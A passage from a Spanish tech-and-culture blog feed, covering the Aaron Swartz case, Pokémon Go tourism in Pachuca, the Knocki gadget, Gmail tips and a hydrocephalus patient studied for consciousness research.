<p>Con este hecho, Aaron se ganó el antecedente atroz que le generaría tantos problemas cuando quiso hacer lo mismo con JSTOR, aunque de esto último no se tiene certeza, <strong>no se sabe a ciencia cierta con qué intención Aaron descargó todos esos artículos</strong>. De hecho, la forma en que lo hizo parece <strong>despreocupada</strong> hasta cierto punto, pues dejó su computadora en el MIT conectada e iba constantemente a verificar que siguiera en acción. Es esto mismo lo que <strong>acusa a las autoridades de un intento por atraparlo y agravar su situación legal</strong>, en primer lugar porque descubrieron la computadora y antes que desconectarla decidieron poner cámaras para evidenciar a Aaron. Por otro lado, el MIT ha sido duramente criticado por su posición &#8220;neutral&#8221; ante este caso, a pesar de ser sabida su tradición de romper reglas, la cual promueve e identifica a dicha institución. Así mismo pesa la posición de JSTOR por su pasividad y mantenerse al margen en el claro abuso de poder contra Aaron.</p>
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<h2>&#8220;Una imposición&#8221;</h2>
<p><img class="aligncenter size-large wp-image-32279" src="http://www.ddsmedia.net/blog/wp-content/uploads/2016/10/aaron-swartz-sopa-600x404.jpg" alt="aaron-swartz-sopa" width="600" height="404" /></p>
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<p><a title="Abre en una nueva ventana" href="http://www.newyorker.com/magazine/2013/03/11/requiem-for-a-dream" target="_blank">El caso de Aaron Swartz ha sido analizado a fondo una y otra vez</a>, las culpas se disparan a todos lados, a la fiscal, a la familia, a las instituciones, a sus parejas, en fin. Pero, sin duda, eso no cambia el hecho de que orilló a ese chico genio que decía &#8220;sentir su existencia como una imposición en el mundo&#8221; a acabar con su vida. Tal vez ese problema legal fue la catapulta para él para ese último acto, o <strong>la suma nefasta con esta persecución encarnizada por un delito menor</strong> a la serie de problemas en su personalidad y su frágil estabilidad emocional que siempre se vio comprometida por la vida cotidiana, por la realidad aplastante para los seres sensibles y visionarios que generalmente no encuentran su lugar en el mundo. De cualquier forma no hay justificación moral para la avanzada aplastante contra Aaron y la inacción de las instituciones que podrían haber detenido el final de este chico.</p>
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<h6>Este articulo forma parte de Hipertextual.com</h6>
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		<title>Pokémon Go fomenta el turismo en Pachuca y otras cosas</title>
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		<pubDate>Tue, 16 Aug 2016 19:17:38 +0000</pubDate>
		<dc:creator><![CDATA[LiAn]]></dc:creator>
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		<description><![CDATA[Si hablamos de que está de moda actualmente en las redes sociales y en las aplicaciones móviles la respuesta número 1 es Pokémon Go y todos absolutamente todos quieren colgarse de esta moda y poder generar ingresos. Algunas empresas ya tienen su estrategia definida y les esta dando resultado y como no va a ser [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><img class="aligncenter size-large wp-image-32257" src="http://www.ddsmedia.net/blog/wp-content/uploads/2016/08/3431-600x400.png" alt="Pokepachuca" width="600" height="400" /></p>
<p>Si hablamos de que está de moda actualmente en las redes sociales y en las aplicaciones móviles la respuesta número 1 es Pokémon Go y todos absolutamente todos quieren colgarse de esta moda y poder generar ingresos.</p>
<p>Algunas empresas ya tienen su estrategia definida y les esta dando resultado y como no va a ser si la Aplicación de Pokémon Go esta instalada ya en miles y miles de teléfonos celulares desde niños hasta algunos ya muy mayores que disfrutan día a día la caza de pokemones.</p>
<p><span id="more-32256"></span></p>
<p>Por dar un ejemplo en la Ciudad de Pachuca el Gran Hotel Independencia están haciendo uso del auge de Pokémon GO para atraer a todos los usuarios de esta App (especialmente en el centro histórico), se creo la Ruta Centro.<br />
Esta ruta incluye 20 Pokeparadas, 6 Gimnasios y 5 Kilómetros. Dentro de esta ruta también se incluyen el visitar monumentos, parques y lugares emblemáticos de la ciudad.</p>
<p><img class="aligncenter size-large wp-image-32258" src="http://www.ddsmedia.net/blog/wp-content/uploads/2016/08/pokeporno-600x414.png" alt="pokeporno" width="600" height="414" /></p>
<p>Otra industria que no se podía quedar fuera de esta euforia Pokemonera es la pornografía, así que también se sumaron con su propio contenido a conquistar a los más adultos y su furor por Pokémon.</p>
<p>No se trata de un chiste y es que al parecer <strong>Brazzers</strong>, una de las productoras de contenidos para adultos más importante de Estados Unidos, ha decidido lanzar una curiosa parodia sobre el juego de Niantic y las criaturas digitales.</p>
<p>Al parecer esta parodia será protagonizada por tres distintos pokémones como Vaporeon interpretada por Patty Michova, Charizard por Ella Hughes y por supuesto el más famoso de todos Pikachu estelarizado por Alexa Tomas.</p>
<p>Según explica la productora, el realizar un contenido de este tipo era un tanto obvio ya que <strong>Pokémon GO</strong> no solo es un juego de smartphones sino que se ha convertido en un pasatiempo que ha cambiado el estilo de vida de muchas personas.</p>
<p><iframe src="https://www.youtube.com/embed/tKE_Y8rEWEs" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p>En fin regresando un poco al tema de Pokémon en Pachuca hay varias comunidades en <a href="https://www.facebook.com/Pok%C3%A9mon-GO-Comunidad-Pachuca-1045840712164530/" target="_blank">Facebook</a> para que te unas a esta fiebre</p>
<div id="attachment_32259" style="width: 510px" class="wp-caption aligncenter"><img class="size-full wp-image-32259" src="http://www.ddsmedia.net/blog/wp-content/uploads/2016/08/facepokemon.png" alt="Comunidad Pokémon Go en Pachuca" width="500" height="544" /><p class="wp-caption-text">Comunidad Pokémon Go en Pachuca</p></div>
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<p>Esperamos tus comentarios y si te gusto la publicación compartela en tus redes sociales.</p>
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		<title>Con Knocki podrás hacer táctil cualquier superficie de tu hogar</title>
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		<pubDate>Mon, 15 Aug 2016 14:12:32 +0000</pubDate>
		<dc:creator><![CDATA[LiAn]]></dc:creator>
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		<category><![CDATA[Tecnología]]></category>
		<category><![CDATA[#Knocki #gadgets #Kickstarter]]></category>
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		<description><![CDATA[Cuando era niño mi sueño era tener un Clapper (aplaudir) para apagar la luz de mi cuarto cuando terminaba de leer sin tener que salir de la cama. Después, mi sueño era tener un Clapper para apagar la tele análoga en la que jugaba Playstation sin tener que salir de la cama. Nunca tuve un [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><img class="aligncenter size-large wp-image-32251" src="http://www.ddsmedia.net/blog/wp-content/uploads/2016/08/knocki-600x296.png" alt="knocki" width="600" height="296" /></p>
<p>Cuando era niño mi sueño era tener un Clapper (aplaudir) para apagar la luz de mi cuarto cuando terminaba de leer sin tener que salir de la cama. Después, mi sueño era tener un Clapper para apagar la tele análoga en la que jugaba Playstation sin tener que salir de la cama. Nunca tuve un Clapper y, con el tiempo, lo olvidé por completo. Hoy, gracias al Internet of Things, puedo encender o apagar cualquier aparato en mi casa con mi Smartphone. Pero eso no es suficiente. Llega un momento en el que uno ya no quiere estar desbloqueando el teléfono y entrando a una app cada vez que quiere apagar la luz o apagar la olla de lento cocimiento. Si tan sólo pudiera aplaudir como en los noventa&#8230;</p>
<p><span id="more-32250"></span></p>
<p><img class="aligncenter wp-image-32252" src="http://www.ddsmedia.net/blog/wp-content/uploads/2016/08/58136_480x571.jpg" alt="nina_knock" width="379" height="451" /></p>
<p>Quizá no aplaudir. Tal vez aplaudir es demasiado retro. Lo de hoy son los gestos y transformar superficies convencionales en superficies inteligentes. El Knocki está diseñado para hacer precisamente eso. Lo puedes pegar o atornillar a cualquier superficie, sea piedra, madera, metal o yeso (tiene algunos problemas con el concreto, pero funciona bien si está pintado). Una vez instalado, el Knocki convierte toda la superficie en una interfaz con la que se puede controlar cualquier dispositivo conectado a Wi-Fi. Registra hasta 10 patrones distintos, que pueden ser desde golpes con los nudillos o tamborileos con los dedos.</p>
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<p><iframe src="https://www.youtube.com/embed/FwotDSjQrc0" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p>El Knocki tiene la sensibilidad suficiente como para no registrar patrones accidentales, así como para funcionar desde un extremo de una pared a otra, ya que no funciona por sonido sino por las vibraciones que se mueven a través de la superficie sólida. Gracias a esto, varios Knocki pueden usarse en la misma habitación sin generar una orquesta de conflictos cada vez que golpees tres veces la mesita de café para cambiar la temperatura del cuarto con tu Google Nest. Utiliza cuatro baterías AAA, con una duración promedio de un año.</p>
<p>La compatibilidad del Knocki con cualquier dispositivo conectado a través de Wi-Fi lo hace útil incluso si no tienes una casa inteligente, pues puedes usarlo hasta para cosas tan sencillas como encontrar tu teléfono o como un control remoto permanente para escuchar música. Funciona a través de una app para Android o iOS, y los creadores dijeron que si hay suficiente demanda quizá también hagan una app para Windows Home.</p>
<p><img class="aligncenter wp-image-32253" src="http://www.ddsmedia.net/blog/wp-content/uploads/2016/08/58137_1000x666-600x600.jpg" alt="58137_" width="500" height="333" /></p>
<p>Pero si tienes una casa llena de aparatos interconectados es donde realmente brilla, sobre todo si tenemos en cuenta que es compatible con IFTTT para que puedas crear “recetas” más complejas. Knocki cuenta con integración para Gmail, Twitter, Facebook, Spotify, SMS, lo que lo hace mucho más versátil que un simple interruptor a control remoto. Ni siquiera se me ocurre cómo usarlo con redes sociales, pero si a ti sí seguro ya estarás pensando en las posibilidades.</p>
<p>Su diseño es sencillo, minimalista, elegante, en color blanco con detalles metálicos, como nos gusta en el siglo XXI. Es circular y plano. Tiene un led que se enciende y apaga para avisarte que entendió tu gesto, por si acaso no estás seguro. Y por el lado práctico de las cosas, no sólo es que convierta cualquier superficie, como una pared o una mesa, en un control remoto, sino que ese mismo diseño permite una facilidad de uso para personas discapacitadas, ancianos y niños. También es sumamente cómodo incluso si no perteneces a ninguno de esos grupos.</p>
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<p>En cuanto al precio, no es tan caro pero tampoco es barato. Puedes <a href="https://www.kickstarter.com/projects/knocki/knocki-make-any-surface-smart/description" target="_blank" rel="nofollow">encargarlo desde $79 USD en Kickstarter</a>, aunque el precio final será de $129 USD, y se entregan en diciembre. Claro que si quieres llenar tu casa de Knockis para controlar absolutamente todo la inversión puede ser excesiva, pero no tardará mucho tiempo en que lo encuentres en descuento en tiendas especializadas, o que aparezca la competencia a reducir costos. ¿Cómo puedo estar tan seguro de esto? Para empezar, le tomó una hora a Knocki cumplir su campaña inicial de Kickstarter. En un mes, habían recaudado más de un millón de dólares. Tal vez el Clapper no fue tan exitoso en su momento, pero el Knocki, creo, llegó para quedarse.</p>
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<p>Dejanos tu comentario, y agradecemos a Qore por el articulo que personalmente si estoy interesado en un Knocki <img src="http://s.w.org/images/core/emoji/72x72/1f609.png" alt="&#x1f609;" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
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		<title>Cómo manejar Gmail como un profesional</title>
		<link>http://www.ddsmedia.net/blog/2016/08/como-manejar-gmail-como-un-profesional/</link>
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		<pubDate>Tue, 09 Aug 2016 19:43:50 +0000</pubDate>
		<dc:creator><![CDATA[LiAn]]></dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Gmail]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Correo]]></category>
		<category><![CDATA[El País]]></category>
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		<category><![CDATA[profesional de gmail]]></category>

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		<description><![CDATA[¿Quién no tiene una cuenta de Gmail hoy en día? Se estima que son mil millones los usuarios activos del célebre servicio de correo de Google. Y la cifra no deja de crecer. El grueso de los usuarios utiliza Gmail en sus funciones básicas pero Google ha preparado toda una batería de herramientas que, una [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><img class="aligncenter size-large wp-image-32245" src="http://www.ddsmedia.net/blog/wp-content/uploads/2016/08/1469788047_831943_1469788453_noticia_normal_recorte1-600x600.jpg" alt="1469788047_831943_1469788453_noticia_normal_recorte1" width="600" height="600" /></p>
<p>¿Quién no tiene una cuenta de Gmail hoy en día? Se estima que son mil millones los usuarios activos del célebre servicio de correo de Google. Y la cifra no deja de crecer. El grueso de los usuarios utiliza Gmail en sus funciones básicas pero Google ha preparado toda una batería de herramientas que, una vez controladas por parte del usuario, pueden disparar el potencial de uso de Gmail y hacer que la experiencia sea más eficiente, sencilla y segura.</p>
<p><span id="more-32244"></span></p>
<p><strong>Mantener a raya el <em>spam</em></strong><em>:</em> Si hay un servicio de correo que gestiona de una manera eficaz el <em>spam</em> es sin duda Gmail. El sistema funciona de forma automática detectando y atajando desde los servidores los envíos masivos, pero, sin embargo, el usuario puede contribuir desde la bandeja de entrada seleccionando el icono de <em>spam</em> en la parte superior izquierda (con un signo de exclamación).</p>
<p><strong>Crear alias para gestionar las suscripciones</strong>: Pero en esto del <em>spam</em>, mucho mejor prevenir que curar y Google también ha previsto la creación de cuentas específicas para la suscripción a diferentes servicios. Para ello bastará con añadir en nuestra dirección de <em>email</em> un &#8220;+&#8221; seguido de un texto para crear una dirección ficticia que nos servirá para tener localizados los boletines y conocer quién está cediendo nuestra dirección a terceros para el envío de <em>spam</em>. Así, si nuestro <em>email f</em>uera &#8220;juan@gmail.com&#8221; bastaría con suscribirnos a los boletines empleando por ejemplo la dirección &#8220;juan+boletin@gmail.com&#8221;, y todos los correos que se envíen a esa dirección llegarán a la bandeja de entrada, pero con una etiqueta que nos ayudará a localizar el remitente y organizar las suscripciones.</p>
<p><img class="aligncenter size-full wp-image-32246" src="http://www.ddsmedia.net/blog/wp-content/uploads/2016/08/Gmail_logo_2010.png" alt="Gmail_logo_2010" width="250" height="111" /></p>
<p><strong>Emplear las etiquetas</strong>: Se trata sin duda de una de las armas más poderosas de Gmail y quien logre controlar a la perfección el uso de las etiquetas podrá gestionar su bandeja de entrada de una manera óptima y ahorrando muchísimo tiempo. Las etiquetas sirven para organizar los correos electrónicos por contenido de forma que de un vistazo y en un par de <em>clics</em> sepamos distinguir lo importante de lo que no lo es. Se trata de una organización automática en la que el usuario interviene tan solo en la organización inicial. Google ha creado <a href="https://support.google.com/mail/answer/118708?co=GENIE.Platform%3DDesktop&amp;hl=es">una útil guía</a> sobre cómo crear y mantener las etiquetas.</p>
<p><strong>Deshacer un env</strong><strong>í</strong><strong>o</strong>: Otra de las joyas de Gmail. Si se envía un correo electrónico con prisas o tras enviarlo recordamos que hemos olvidado añadir algo relevante, el servicio nos permite &#8220;deshacer&#8221; el envío sin que el destinatario reciba nada. Esta función debe activarse en la configuración siguiendo <a href="https://support.google.com/mail/answer/2819488?hl=es&amp;rd=1">estas indicaciones</a> y configurando el margen de tiempo que se desee para anular el envío.</p>
<p><strong>Silenciar las conversaciones interminables</strong>: Si se ve uno inmerso en un interminable intercambio de correos del que ya no hay ningún interés ni información relevante, lo más prudente es <em>silenciar</em> esa secuencia de forma que los nuevos <em>emails</em> se archiven de forma automática. De esta manera, la bandeja de entrada permanecerá limpia y no recibiremos notificaciones de nuevos correos (salvo que nuestra dirección aparezca en el &#8220;para&#8221; en un nuevo correo). Para silenciar una conversación de correos hay que seguir <a href="https://support.google.com/mail/answer/47787?hl=es">estos pasos</a>.</p>
<p><img class="aligncenter size-large wp-image-32247" src="http://www.ddsmedia.net/blog/wp-content/uploads/2016/08/gmail-signature-settings-600x399.png" alt="gmail-signature-settings" width="600" height="399" /></p>
<p><strong>Emplear respuestas est</strong><strong>á</strong><strong>ndar</strong>: Al cabo del día es fácil que se emplee varias veces el mismo texto en las respuestas, como &#8220;Muchas gracias por el correo, en cuanto tenga la respuesta le informo&#8221; o textos convencionales que nos vemos obligados a repetir muchas veces. Por fortuna Gmail cuenta en la pestaña de Labs (dentro de configuración), una función bautizada como &#8220;Respuestas estándar&#8221; y que tras habilitarla, nos permite guardar las frases que tanto se repiten para luego simplemente adjuntarlas al correo. Tanto para guardar como para utilizar una respuesta grabada bastará con pulsar sobre el botón inferior derecho y tras desplegar el menú, escoger la respuesta adecuada.</p>
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]]></content:encoded>
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		<title>El hombre que vive sin el 90% de su cerebro</title>
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		<pubDate>Mon, 08 Aug 2016 16:34:36 +0000</pubDate>
		<dc:creator><![CDATA[LiAn]]></dc:creator>
				<category><![CDATA[Actualidad]]></category>
		<category><![CDATA[Cerebro]]></category>
		<category><![CDATA[Ciencia]]></category>
		<category><![CDATA[Conciencia]]></category>
		<category><![CDATA[humano]]></category>
		<category><![CDATA[investigación]]></category>

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		<description><![CDATA[Después de que la película Lucy se encargase de echarle leña a este mito fueron muchos los científicos que se lanzaron a explicar lo desacertada que resulta tal afirmación, que más bien se refiere a que sólo el 10% de las células del cerebro son neuronas, encargadas del procesamiento cerebral, mientras que el 90% restante [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><img class="aligncenter size-large wp-image-32239" src="http://www.ddsmedia.net/blog/wp-content/uploads/2016/08/porcentaje-cerebro-600x450.jpg" alt="porcentaje-cerebro" width="600" height="450" /></p>
<p>Después de que la película <strong>Lucy</strong> se encargase de echarle leña a este mito fueron muchos los científicos que se lanzaron a explicar lo desacertada que resulta tal afirmación, que más bien se refiere a que sólo el 10% de las células del cerebro son<strong> neuronas</strong>, encargadas del procesamiento cerebral, mientras que el <strong>90% restante</strong> son <strong>células gliales</strong>, cuya función reside en <strong>el soporte y el mantenimiento físico.</strong></p>
<p><span id="more-32238"></span></p>
<p>Sin embargo, a menudo aparecen casos que nos llevan a volver a cuestionarnos qué <strong>porcentaje cerebral</strong> es suficiente para disponer de<strong> conciencia</strong> o, lo que es lo mismo, para ser <strong>conscientes de nuestra propia existencia</strong>. Un buen ejemplo para hacerse esta pregunta es el de un <strong>paciente francés </strong>que lleva una vida totalmente normal a pesar de tener el<strong> 90% de su cerebro dañado</strong>, por lo que ha sido tomado como sujeto de estudio para muchos investigadores desde que se descubrió su caso de una forma <strong>sorprendentemente casual.</strong></p>
<p>&nbsp;</p>
<h2>El caso del paciente que carece de un 90% del cerebro</h2>
<p><img class="aligncenter size-full wp-image-32240" src="http://www.ddsmedia.net/blog/wp-content/uploads/2016/08/brainscan.jpeg" alt="radiografia" width="251" height="201" /></p>
<p>En <strong>2007</strong> se describió en Lancet el caso de un paciente francés de <strong>44 años de edad</strong> que había acudido al hospital por un simple <strong>dolor en la pierna</strong>, dejando más tarde estupefactos a los médicos que estudiaron su <strong>escáners cerebrales.</strong></p>
<p>Y es que, en contra de todo pronóstico, las imágenes mostraron que gran parte de su cráneo estaba invadido por un <strong>líquido</strong> que había deteriorado todo su cerebro, dejando intacta sólo una fina región que no suponía más de un <strong>10% del total.</strong></p>
<p>La causa de este fenómeno podría ser la <strong>hidrocefalia</strong>, una enfermedad cuyo nombre lo dice todo, pero lo curioso es que a pesar de tener una proporción tan grande de su <strong>cerebro dañado</strong>, el paciente no mostraba los síntomas que deberían ser obvios. Tenía un <strong>cociente intelectual límite</strong>, de 75, pero no mostraba indicios de <strong>retraso mental</strong> y, de hecho, llevaba una vida normal, trabajando como<strong> funcionario, casado y con hijos.  </strong></p>
<p>Además, su <strong>conciencia</strong> no se mostraba alterada, ya que era perfectamente consciente del <strong>entorno que le rodeaba</strong> y podía relacionarse con él sin problemas, por lo que abrió un nuevo debate sobre los <strong>procesos cerebrales implicados en la conciencia</strong>, dando lugar a una tormenta de teorías que han llegado hasta el día de hoy.</p>
<p>&nbsp;</p>
<h2>Teorías sobre la conciencia en base al paciente con el 90% del cerebro dañado</h2>
<p><img class="aligncenter size-large wp-image-32241" src="http://www.ddsmedia.net/blog/wp-content/uploads/2016/08/cerebro-house-728x327-600x327.jpg" alt="cerebro-house-728x327" width="600" height="327" /></p>
<p>Las primeras <strong>teorías neurológicas sobre la conciencia</strong> sugieren que esta condición está vinculada a diversas regiones del cerebro; como el <strong>claustrum</strong>, que es una lámina delgada que <strong>se extiende por todo el órgano. </strong></p>
<p>Sin embargo, esto no concuerda con el caso del paciente francés, pues si esta región se encuentra por todo el cerebro es lógico que él haya perdido una<strong> gran parte de ella.</strong></p>
<p>Tiene mucho más sentido la propuesta de <strong>Axel Cleeremans</strong>, un <strong>psicólogo cognitivo</strong> de la <em>Universidad de Bruselas</em> que ha estudiado la implicación del<strong> aprendizaje</strong> en la conciencia. Según su teoría, el cerebro es un <strong>órgano flexible</strong>, por lo que las regiones reforzadas en ciertos procesos se adaptan al <strong>aprendizaje</strong> y a las <strong>condiciones de cada individuo. </strong></p>
<p>Los resultados de sus investigaciones han sido presentados recientemente en la <em>Conferencia de la Asociación para el Estudio Científico de la Conciencia</em> y, de poder confirmarse, podrían suponer un nuevo paso hacia la <strong>reversión de los síntomas</strong> de algunas lesiones cerebrales a través del <strong>aprendizaje</strong>. Sería una gran noticia, sin duda</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Agradecemos el reportaje a Omnicrono / Ciencia</p>
]]></content:encoded>
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